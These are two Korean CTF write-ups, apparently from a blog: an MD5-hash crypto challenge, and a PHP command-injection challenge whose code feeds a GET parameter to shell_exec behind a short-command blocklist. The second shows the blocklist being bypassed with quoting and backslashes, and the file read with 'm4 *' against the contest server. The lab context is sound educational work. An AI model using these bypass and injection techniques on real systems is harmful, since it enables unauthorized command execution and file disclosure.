Em Dee

mhsctf2022 Cryptography 문제입니다.

 

Description :

I have a good friend named Em. She loves secret codes, so when she challenged me this time, I was well up for it! She told me that she encoded the word "happy" as "56ab24c15b72a457069c5ea42fcfc640" and "sad" as "49f0bad299687c62334182178bfd75d8" (without the quotes) and challenged me to encode "mhsctf" using her method! I can't figure it out! What would it be? Enter your answer in flag format: "flag{...}"

 

happy는 56ab24c15b72a457069c5ea42fcfc640값으로 sad는 49f0bad299687c62334182178bfd75d8값으로 암호화가 되었습니다. mhsctf는 어떤 값으로 암호화가 되는지를 묻는 문제입니다.

 

문제 분석

두개의 암호화값은 모두 32글자로 해시값으로 보여집니다.

때문에 rainbow table을 사용하여 평문이 올바르게 표시되는지 확인 과정을 거쳤습니다.

 

happy
sad

md5로 암호화되어 해시가 생성된것으로 확인 되었습니다.

두 평문과 해시값의 교차검증을 완료하였으니 문제를 풀어보도록 하겠습니다.

 

문제 풀이

평문 mhsctf 를 md5로 암호화하였습니다.

 

md5-mhsctf

형식에 맞게 해시값을 넣어 작성해주면 문제가 풀립니다.

더보기

flag{fc3e3c405a66f8fe7cb7f17a838ea88c}

'Challenge > CTF' 카테고리의 다른 글

[MHSCTF] Crash Hacker (Em Dee 2)  (0) 2022.02.20
[MHSCTF] Peanuts  (0) 2022.02.20
[DefCamp CTF 21-22] casual-defence  (0) 2022.02.15
[DefCamp CTF 21-22] para-code  (0) 2022.02.15
[DefCamp CTF 21-22] web-intro  (0) 2022.02.15

para-code

DefCamp 문제로 풀이에 참여하였던 문제입니다.

 

Description :

I do not think that this API needs any sort of security testing as it only executes and retrieves the output of ID and PS commands.

 

해당 API는 ID, PS 명령만 출력, 실행, 검색하므로 보안 테스트가 필요하지 않다고 알려주고 있습니다.

문제 페이지로 접속 해보도록 하겠습니다.

 

 

문제 분석

 

본 문제의 페이지는 php 코드를 출력해주기 때문에 가독성을 위해 코드로 대체하였습니다.

<?php
require __DIR__ . '/flag.php';
if (!isset($_GET['start'])){
    show_source(__FILE__);
    exit;
} 

$blackList = array(
  'ss','sc','aa','od','pr','pw','pf','ps','pa','pd','pp','po','pc','pz','pq','pt','pu','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','pf','pz','pv','pw','px','py','pq','pk','pj','pl','pm','pn','pq','ls','dd','nl','nk','df','wc', 'du'
);

$valid = true;
foreach($blackList as $blackItem)
{
    if(strpos($_GET['start'], $blackItem) !== false)
    {
         $valid = false;
         break;
    }
}

if(!$valid)
{
  show_source(__FILE__);
  exit;
}

// This will return output only for id and ps. 
if (strlen($_GET['start']) < 5){
  echo shell_exec($_GET['start']);
} else {
  echo "Please enter a valid command";
}

if (False) {
  echo $flag;
}

?>

 

해당 페이지의 코드는 크게 3가지로 보입니다.

  1. filtering
  2. shell_exec
  3. echo $flag

우선 문자열 필터링은 $blackList 변수를 선언하여 2글자인 명령어를 사용 불가하게 조치를 취한것으로 보입니다.

두 번재로 shell_exec는 start라는 파라미터를 통해 GET 방식으로 사용자에게 값을 입력받으며 명령어로 사용합니다.

이때 사용자로부터 받는 입력값은 코드상 4글자로 제한 되어 있습니다.

 

필터링 된 두 글자 명령어들과 env, set을 확인하여 추출해 보았습니다.

더보기
set.txt
0.01MB
env.txt
0.01MB
2char_cmd_result.txt
0.00MB

이때 필터링 되어 있는 명령어는 l"s" 혹은 l\s 와같이 중간에 특수문자를 입력하여 우회하였습니다.

 

 

ls result

ls 명령어를 통해 flag.php 파일이 존재한다는 것을 확인하였습니다.

 

※정리※

  • flag.php 읽기
  • 입력값 4글자
  • 공백과 "*" 사용 필수적이므로 사실상 2글자 명령어

 

 

문제 풀이

결국에는 특정 명령어를 찾는 문제였습니다.

m4라는 두 글자 짜리 명령어가 존재합니다.

view-source:http://34.159.7.96:32210/?start=m4%20*

 

해당 명령어를 사용하여 view-source 페이지에서 flag를 확인할 수 있습니다.

<?php

$flag = "791b21ee6421993a8e25564227a816ee52e48edb437909cba7e1e80c0579b6be";

?>

'Challenge > CTF' 카테고리의 다른 글

[MHSCTF] Em Dee  (0) 2022.02.20
[DefCamp CTF 21-22] casual-defence  (0) 2022.02.15
[DefCamp CTF 21-22] web-intro  (0) 2022.02.15
[Intent CTF] Graphics  (0) 2021.11.30
[Intent CTF] Etulosba  (0) 2021.11.25

+ Recent posts